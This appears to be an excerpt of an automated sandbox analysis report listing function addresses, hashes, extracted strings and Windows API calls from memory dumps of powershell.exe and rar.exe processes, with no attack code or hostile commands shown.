Function 00007FF8476C45E0 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2234054761.00007FF8476C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8476C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff8476c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 261b4e67829f359148dbbc97ae8ed626c1c86f97f89529bd7e94da1e6d0b43b9
Instruction ID: a81b69108b1fc882975fdaf839ddf328f3f03a11c937fcc104e5eebe69a3ff77
Opcode Fuzzy Hash: 261b4e67829f359148dbbc97ae8ed626c1c86f97f89529bd7e94da1e6d0b43b9
Instruction Fuzzy Hash: 6AF05E31A0D5498FDA55EA1CE4418E87BE0EF4536071500B6E559CB16BDA26EC448790

Non-executed Functions

Function 00007FF8475F8BFA Relevance: 6.4, Strings: 5, Instructions: 108COMMON

Download Yara Rule

Strings

L_^I, xrefs: 00007FF8475F8C72
L_^F, xrefs: 00007FF8475F8C6A
L_^J, xrefs: 00007FF8475F8C7A
L_^<, xrefs: 00007FF8475F8C2A
L_^6, xrefs: 00007FF8475F8BFA

Memory Dump Source

Source File: 00000007.00000002.2232217359.00007FF8475F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8475F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff8475f0000_powershell.jbxd

Similarity

API ID:
String ID: L_^6$L_^<$L_^F$L_^I$L_^J
API String ID: 0-1031638419
Opcode ID: 1a466d4f57ca421675876869b523df085967c141f9b1e0207efbd2f5b90dc140
Instruction ID: d3352af175113f7de40d2d32539e35b0de4342478a49ec8c9811cb0008082b10
Opcode Fuzzy Hash: 1a466d4f57ca421675876869b523df085967c141f9b1e0207efbd2f5b90dc140
Instruction Fuzzy Hash: CA21F1777085166FD3027AEDB8025EC7390DBD46B634991B3D358CB553EA14B08B8AD4

Function 00007FF8475F8955 Relevance: 5.1, Strings: 4, Instructions: 148COMMON

Download Yara Rule

Strings

L_^, xrefs: 00007FF8475F8AC2
L_^, xrefs: 00007FF8475F8A2A
L_^, xrefs: 00007FF8475F89C9
L_^, xrefs: 00007FF8475F8A7A

Memory Dump Source

Source File: 00000007.00000002.2232217359.00007FF8475F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8475F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff8475f0000_powershell.jbxd

Similarity

API ID:
String ID: L_^$L_^$L_^$L_^
API String ID: 0-2357752022
Opcode ID: 27f3c56b122c4cd1435788e770f1e405fb2db1ffd8bc27715e115a564efeaab1
Instruction ID: ca1c8cb59265e2d13b1cb74583e032193bac0c3e0def28c7e031fb64680ba781
Opcode Fuzzy Hash: 27f3c56b122c4cd1435788e770f1e405fb2db1ffd8bc27715e115a564efeaab1
Instruction Fuzzy Hash: FF515372A0EAC38FE35656394C66159BFA0FF52398B1A42F6C0D48F093FF5928568712

Analysis Process: powershell.exePID: 5704, Parent PID: 8088COMMON

Executed Functions

Function 00007FF8476A17D9 Relevance: .8, Instructions: 780COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2302403362.00007FF8476A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8476A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ff8476a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78e9b5c300f527b8e36eaa1398be40fe5a9229604fda86dee356184a7617763a
Instruction ID: 6b2a83413b68d383b4ce460c274d7701f4bd9e1b14465296412eff90fda86b30
Opcode Fuzzy Hash: 78e9b5c300f527b8e36eaa1398be40fe5a9229604fda86dee356184a7617763a
Instruction Fuzzy Hash: 5D223821E0DB899FEB9AA73868556BA7BF2EF47650F0801FBD04DC7193E9189C06C741

Function 00007FF8475D4DD3 Relevance: .2, Instructions: 215COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2301837901.00007FF8475D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8475D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ff8475d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5fecd3ed9da3d3592d55487b7f70f055f1d0385f2586270ceadcafa6d0a8c1d
Instruction ID: 3e0fa9093f8a7930af8d92681a4716fdd6263c20ca0094d50df6308ee2a590c8
Opcode Fuzzy Hash: c5fecd3ed9da3d3592d55487b7f70f055f1d0385f2586270ceadcafa6d0a8c1d
Instruction Fuzzy Hash: 4561F471E0DA498FD745EB6CD8556ADBBF1EF4A310F1480BED449DB292DB35A802CB80

Function 00007FF8475D3945 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.2301837901.00007FF8475D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8475D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_7ff8475d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
Instruction ID: ec7303ac25b6f2ba240a62a78cda6aba8bd6885d5843fd76fa0bf63e93a1e51e
Opcode Fuzzy Hash: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
Instruction Fuzzy Hash: DE01677111CB0C8FD744EF0CE451AA5B7E0FB95364F10056DE58AC3695D636E882CB45

Analysis Process: rar.exePID: 7360, Parent PID: 7312COMMON

Execution Graph

Execution Coverage:	7.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0.5%
Total number of Nodes:	1213
Total number of Limit Nodes:	32

Executed Functions

Function 00007FF6AA1954C0 Relevance: 36.3, APIs: 4, Strings: 16, Instructions: 1336COMMON

Download Yara Rule

Strings

stdin, xrefs: 00007FF6AA19672D
7z;ace;arj;bz2;cab;gz;jpeg;jpg;lha;lz;lzh;mp3;rar;taz;tgz;xz;z;zip;zipx, xrefs: 00007FF6AA195935
SFX, xrefs: 00007FF6AA1960CC
SND, xrefs: 00007FF6AA195D11
LOG, xrefs: 00007FF6AA195CD0
VER, xrefs: 00007FF6AA195EBA
default.sfx, xrefs: 00007FF6AA1960F4
ERR, xrefs: 00007FF6AA195D40
stdin, xrefs: 00007FF6AA196236
*?., xrefs: 00007FF6AA19598C
*.%ls, xrefs: 00007FF6AA1959AF
NUL, xrefs: 00007FF6AA195DB3
rar.log, xrefs: 00007FF6AA195CE5
+, xrefs: 00007FF6AA196535
EML, xrefs: 00007FF6AA195D6B
OFF, xrefs: 00007FF6AA195E4B

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID:
String ID: *.%ls$*?.$+$7z;ace;arj;bz2;cab;gz;jpeg;jpg;lha;lz;lzh;mp3;rar;taz;tgz;xz;z;zip;zipx$EML$ERR$LOG$NUL$OFF$SFX$SND$VER$default.sfx$rar.log$stdin$stdin
API String ID: 0-1628410872
Opcode ID: b9d6aeb0518eca3664f40ad1619fad4736c7e1389d4ca9ce6415b1a8c264bdf8
Instruction ID: d9267d89115f5de78b3842f1af3ecfa081f81c527df62ab55ef27389ace7813b
Opcode Fuzzy Hash: b9d6aeb0518eca3664f40ad1619fad4736c7e1389d4ca9ce6415b1a8c264bdf8
Instruction Fuzzy Hash: E6C2D53290F182E1EA269F2482441BDA791AF01794FD844BBCA2ED72C5DE6DFD47D360

Function 00007FF6AA181884 Relevance: 24.1, APIs: 5, Strings: 8, Instructions: 1374COMMON

Download Yara Rule

Strings

exe, xrefs: 00007FF6AA181897
rar, xrefs: 00007FF6AA1818AA
q:, xrefs: 00007FF6AA1819DA
BK, xrefs: 00007FF6AA1819C5
sfx, xrefs: 00007FF6AA181884
%s%s , xrefs: 00007FF6AA182A46
,6, xrefs: 00007FF6AA182F83
.ext, xrefs: 00007FF6AA1818C0

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID:
String ID: %s%s $.ext$exe$rar$sfx$,6$BK$q:
API String ID: 0-1660254149
Opcode ID: 76a21640ef4bcccfa9a7efadb4a2dc46ecd4c92dd8f64b01b83c3229c4f9755b
Instruction ID: a27c43ede710ac0b7fc573ae7f84dba0b1e4850391e18dc5db46cdd59d19a1c9
Opcode Fuzzy Hash: 76a21640ef4bcccfa9a7efadb4a2dc46ecd4c92dd8f64b01b83c3229c4f9755b
Instruction Fuzzy Hash: 78E2E126A0AAC2E5EB22DF25C8401FD27A2FB59788F4540B7CA5D87796DF3DD946C300

Function 00007FF6AA1C48CC Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6AA1C4AE0: FreeLibrary.KERNEL32(?,?,00000000,00007FF6AA19CC90), ref: 00007FF6AA1C4AF5

GetModuleFileNameW.KERNEL32(?,?,?,00007FF6AA1B7E7D), ref: 00007FF6AA1C492E
GetVersionExW.KERNEL32(?,?,?,00007FF6AA1B7E7D), ref: 00007FF6AA1C496A
LoadLibraryExW.KERNELBASE(?,?,?,00007FF6AA1B7E7D), ref: 00007FF6AA1C4993
LoadLibraryW.KERNEL32(?,?,?,00007FF6AA1B7E7D), ref: 00007FF6AA1C499F

Strings

rarlng.dll, xrefs: 00007FF6AA1C493A

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: Library$Load$FileFreeModuleNameVersion
String ID: rarlng.dll
API String ID: 2520153904-1675521814
Opcode ID: 49b096ca26b206715f71fd28137422a8c8958387befaadcb30f15fb4690b8ba1
Instruction ID: ddd01e97a45bf51e1714abada74a8e597cfd52db01349efc5d252a6a6db3b370
Opcode Fuzzy Hash: 49b096ca26b206715f71fd28137422a8c8958387befaadcb30f15fb4690b8ba1
Instruction Fuzzy Hash: 4131903171AA92E5FB668F21E8442E923A1FB45784F848077EA4D83698DF3CED57C700

Function 00007FF6AA1A46EC Relevance: 7.6, APIs: 5, Instructions: 99
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,?,00000000,?,?,00007FF6AA1A4620,?,00000000,?,00007FF6AA1C7A8C), ref: 00007FF6AA1A4736
FindFirstFileW.KERNEL32(?,00000000,?,?,00007FF6AA1A4620,?,00000000,?,00007FF6AA1C7A8C), ref: 00007FF6AA1A476B
GetLastError.KERNEL32(?,00000000,?,?,00007FF6AA1A4620,?,00000000,?,00007FF6AA1C7A8C), ref: 00007FF6AA1A477A
FindNextFileW.KERNELBASE(?,?,00000000,?,?,00007FF6AA1A4620,?,00000000,?,00007FF6AA1C7A8C), ref: 00007FF6AA1A47A4
GetLastError.KERNEL32(?,00000000,?,?,00007FF6AA1A4620,?,00000000,?,00007FF6AA1C7A8C), ref: 00007FF6AA1A47B2

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: FileFind$ErrorFirstLast$Next
String ID:
API String ID: 869497890-0
Opcode ID: db65eb08b1281c8d58974f0f5f4a9386b8e365cfc9a754ba939093b9379e8a24
Instruction ID: fb65e0763086a5658b48b40d6e5944de26f9f1adfd1aa0067d21bf21ba687a87
Opcode Fuzzy Hash: db65eb08b1281c8d58974f0f5f4a9386b8e365cfc9a754ba939093b9379e8a24
Instruction Fuzzy Hash: F541C732B0A6C1E6DA659B65E4402E963A0FB497B4F404372EA7D833C5DF7CE95A8700

Function 00007FF6AA19901C Relevance: 4.5, APIs: 3, Instructions: 35encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32 ref: 00007FF6AA19904D
CryptGenRandom.ADVAPI32 ref: 00007FF6AA199061
CryptReleaseContext.ADVAPI32 ref: 00007FF6AA199074

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: Crypt$Context$AcquireRandomRelease
String ID:
API String ID: 1815803762-0
Opcode ID: a0191cfd7649e62a748f4a6898c5e4dd5358cd018192ea96d54baefd87fc6459
Instruction ID: 97035f92447a87ad8b02556127b1d37e70de1a6bacae39024de7ee4220076fa8
Opcode Fuzzy Hash: a0191cfd7649e62a748f4a6898c5e4dd5358cd018192ea96d54baefd87fc6459
Instruction Fuzzy Hash: CB01AD2AB0868082E7408B12A94433D6761EBC0FD0F188076CE4E83B68DF7EDD46C700

Function 00007FF6AA18B540 Relevance: 2.0, APIs: 1, Instructions: 490COMMON

Download Yara Rule

APIs

CharToOemA.USER32 ref: 00007FF6AA18B900

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: Char
String ID:
API String ID: 751630497-0
Opcode ID: d750600f3be21f8ccd2522ea66ef81f5d73d07ec8a0f66ae2bb9041de05645a8
Instruction ID: d1db1b02d44bad293199228e395968304b4172fa153af513bfda096166d4349b
Opcode Fuzzy Hash: d750600f3be21f8ccd2522ea66ef81f5d73d07ec8a0f66ae2bb9041de05645a8
Instruction Fuzzy Hash: 3B229032A0D682E6E716DF30D4801FE7BA0FB44B88F584177DA8D86699DE78ED46C740

Function 00007FF6AA1AAE10 Relevance: 1.7, APIs: 1, Instructions: 177COMMON

Download Yara Rule

APIs

new.LIBCMT ref: 00007FF6AA1AB0C7

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0552f59dc804d2e0d20b2d282ad9cfd142ccfb886900338c14155ce18a5671af
Instruction ID: 2521cd7a68155f4af9510f4a998c4800feb86ae5f15487d6c1c421752166c940
Opcode Fuzzy Hash: 0552f59dc804d2e0d20b2d282ad9cfd142ccfb886900338c14155ce18a5671af
Instruction Fuzzy Hash: 8671C132A0668586D745DF35E4052ED33E2FB88B98F084136DB5DCB399DF78A852C790

Function 00007FF6AA1C3EA8 Relevance: 25.0, APIs: 3, Strings: 11, Instructions: 491
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcschr.LIBVCRUNTIME ref: 00007FF6AA1C3EF9
GetModuleFileNameW.KERNEL32(?,?,?,?,?,?,?,?,00007FF6AA1C3E8F,?,00007FF6AA1B7E90), ref: 00007FF6AA1C3F14
snprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6AA1C43C6

Strings

*messages***, xrefs: 00007FF6AA1C4050
MENU, xrefs: 00007FF6AA1C4235
DIALOG, xrefs: 00007FF6AA1C4227
RTL, xrefs: 00007FF6AA1C437A
$%s:, xrefs: 00007FF6AA1C439E
,, xrefs: 00007FF6AA1C43FB
STRINGS, xrefs: 00007FF6AA1C4219
*messages***, xrefs: 00007FF6AA1C4080
@%s:, xrefs: 00007FF6AA1C43A5
\, xrefs: 00007FF6AA1C4519
DIRECTION, xrefs: 00007FF6AA1C4243

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: FileModuleNamesnprintfwcschr
String ID: ,$$%s:$*messages***$*messages***$@%s:$DIALOG$DIRECTION$MENU$RTL$STRINGS$\
API String ID: 602362809-1645646101
Opcode ID: 13040d61f0e7da43208126d1082a5dded3eea02b21a4f98514b48b8c6faaa874
Instruction ID: cf4814180cfc0fb5bee661fd98a204b309c43573aebd9021cd7e86257ea268db
Opcode Fuzzy Hash: 13040d61f0e7da43208126d1082a5dded3eea02b21a4f98514b48b8c6faaa874
Instruction Fuzzy Hash: AA229C22B1E692E4EA229F15D4446F963A1FF44784F804177EA4EC7AD9EF2CED46C300

Function 00007FF6AA194FD0 Relevance: 14.3, APIs: 2, Strings: 6, Instructions: 293
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcschr.LIBVCRUNTIME ref: 00007FF6AA195043
wcschr.LIBVCRUNTIME ref: 00007FF6AA195129

Strings

.part, xrefs: 00007FF6AA1950A5
AFUMD, xrefs: 00007FF6AA195122
.rar, xrefs: 00007FF6AA1950E6
stdin, xrefs: 00007FF6AA1952C2
FUADPXETK, xrefs: 00007FF6AA19503C
.rar, xrefs: 00007FF6AA19508E

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA20A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA214000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA21E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321365287.00007FF6AA226000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321490829.00007FF6AA228000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321560124.00007FF6AA22E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7ff6aa180000_rar.jbxd

Similarity

API ID: wcschr
String ID: .part$.rar$.rar$AFUMD$FUADPXETK$stdin
API String ID: 1497570035-1281034975
Opcode ID: 43ddd1800645f40e7e0ad877604b3aadd6ee3f0a81332a219ef4bf9da79026d2
Instruction ID: 6ecca37bedf4c57e258ac0f0552123388204c5784dd045750a7e5eeb0343d54f
Opcode Fuzzy Hash: 43ddd1800645f40e7e0ad877604b3aadd6ee3f0a81332a219ef4bf9da79026d2
Instruction Fuzzy Hash: 22C1B621A0A582E0EA67AF34CA511FC1355AF45798F4841B7DA4EDB6DADE2CEE07C300

Function 00007FF6AA1C7F24 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 100
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 00007FF6AA1C805C

Part of subcall function 00007FF6AA1CB3F0: GetSystemDirectoryW.KERNEL32(00000000,00007FF6AA1C7F72), ref: 00007FF6AA1CB41E

GetProcAddressForCaller.KERNELBASE ref: 00007FF6AA1C7F88
GetProcAddress.KERNEL32 ref: 00007FF6AA1C7FA3

Strings

CryptProtectMemory, xrefs: 00007FF6AA1C7F7E
Crypt32.dll, xrefs: 00007FF6AA1C7F66
CryptProtectMemory failed, xrefs: 00007FF6AA1C8009
CryptUnprotectMemory failed, xrefs: 00007FF6AA1C8053
CryptUnprotectMemory, xrefs: 00007FF6AA1C7F95

Memory Dump Source

Source File: 00000046.00000002.2321214220.00007FF6AA181000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF6AA180000, based on PE: true

Associated: 00000046.00000002.2321184582.00007FF6AA180000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321308042.00007FF6AA208000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000046.00000002.2321339848.00007FF6AA209000.00000008.00000001.01000000.0000001A.sdmpDownload File
